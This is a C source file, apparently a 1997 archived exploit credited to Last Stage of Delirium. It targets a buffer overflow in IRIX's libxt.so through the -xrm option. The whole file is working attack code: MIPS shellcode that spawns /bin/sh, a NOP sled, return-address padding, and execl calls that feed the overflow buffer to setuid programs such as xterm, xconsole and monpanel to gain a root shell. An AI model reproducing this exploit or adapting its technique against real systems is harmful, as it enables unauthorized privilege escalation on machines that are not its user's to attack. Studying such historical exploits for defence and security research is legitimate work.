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C/C++ Source or Header  |  2005-02-12  |  4KB  |  84 lines
  1.  
  2.  
  3.                 /*## copyright LAST STAGE OF DELIRIUM jan 1997 poland        *://lsd-pl.net/ #*/
  4.                 /*## libxt.so -xrm                                                           #*/
  5.  
  6.                 #define NOPNUM 8000
  7.                 #define ADRNUM 2000
  8.                 #define PCHNUM 2000
  9.                 #define TMPNUM 2000
  10.                 #define ALLIGN 3
  11.  
  12.                 char shellcode[]=
  13.                     "\x04\x10\xff\xff"    /* bltzal  $zero,<shellcode>    */
  14.                     "\x24\x02\x03\xf3"    /* li      $v0,1011             */
  15.                     "\x23\xff\x01\x14"    /* addi    $ra,$ra,276          */
  16.                     "\x23\xe4\xff\x08"    /* addi    $a0,$ra,-248         */
  17.                     "\x23\xe5\xff\x10"    /* addi    $a1,$ra,-240         */
  18.                     "\xaf\xe4\xff\x10"    /* sw      $a0,-240($ra)        */
  19.                     "\xaf\xe0\xff\x14"    /* sw      $zero,-236($ra)      */
  20.                     "\xa3\xe0\xff\x0f"    /* sb      $zero,-241($ra)      */
  21.                     "\x03\xff\xff\xcc"    /* syscall                      */
  22.                     "/bin/sh"
  23.                 ;
  24.  
  25.                 char jump[]=
  26.                     "\x03\xa0\x10\x25"    /* move    $v0,$sp              */
  27.                     "\x03\xe0\x00\x08"    /* jr      $ra                  */
  28.                 ;
  29.  
  30.                 char nop[]="\x24\x0f\x12\x34";
  31.  
  32.                 main(int argc,char **argv){
  33.                     char buffer[20000],adr[4],pch[4],tmp[4],*b;
  34.                     int i,n=-1;
  35.  
  36.                     printf("copyright LAST STAGE OF DELIRIUM jan 1997 poland  //lsd-pl.net/\n");
  37.                     printf("libxt.so -xrm for irix 5.2 5.3 6.2 6.3 IP:17,19,20,21,22,32\n\n");
  38.  
  39.                     if(argc!=2){
  40.                         printf("usage: %s {monpanel|printers|dmplay|datman|xwsh|cdplayer|"
  41.                             "xconsole|xterm}\n",argv[0]);
  42.                         exit(-1);
  43.                     }
  44.                     if(!strcmp(argv[1],"monpanel")) n=0;
  45.                     if(!strcmp(argv[1],"printers")) n=1;
  46.                     if(!strcmp(argv[1],"dmplay")) n=2;
  47.                     if(!strcmp(argv[1],"datman")) n=3;
  48.                     if(!strcmp(argv[1],"xwsh")) n=4;
  49.                     if(!strcmp(argv[1],"cdplayer")) n=5;
  50.                     if(!strcmp(argv[1],"xconsole")) n=6;
  51.                     if(!strcmp(argv[1],"xterm")) n=7;
  52.                     if(n==-1) exit(-1);
  53.  
  54.                     *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+15000+8000;
  55.                     *((unsigned long*)tmp)=(*(unsigned long(*)())jump)()+15000+15300+1000;
  56.                     *((unsigned long*)pch)=(*(unsigned long(*)())jump)()+15000+15300+1000+2000;
  57.  
  58.                     b=buffer;
  59.                     for(i=0;i<ALLIGN;i++) *b++=0xff;
  60.                     for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
  61.                     for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
  62.                     *b++=0xff;
  63.                     *b++=0xff;
  64.                     for(i=0;i<TMPNUM;i++) *b++=tmp[i%4];
  65.                     for(i=0;i<ALLIGN;i++) *b++=0xff;
  66.                     for(i=0;i<PCHNUM;i++) *b++=pch[i%4];
  67.                     for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
  68.                     *b=0;
  69.  
  70.                     switch(n){
  71.                     case 0: execl("/usr/sbin/monpanel","lsd","-xrm",buffer,0);
  72.                     case 1: execl("/usr/sbin/printers","lsd","-xrm",buffer,0);
  73.                     case 2: execl("/usr/sbin/dmplay","lsd","-xrm",buffer,0);
  74.                     case 3: execl("/usr/sbin/datman","lsd","-xrm",buffer,0);
  75.                     case 4: execl("/usr/sbin/xwsh","lsd","-xrm",buffer,0);
  76.                     case 5: execl("/usr/bin/X11/cdplayer","lsd","-xrm",buffer,0);
  77.                     case 6: execl("/usr/bin/X11/xconsole","lsd","-xrm",buffer,0);
  78.                     case 7: execl("/usr/bin/X11/xterm","lsd","-xrm",buffer,0);
  79.                     }
  80.                 }
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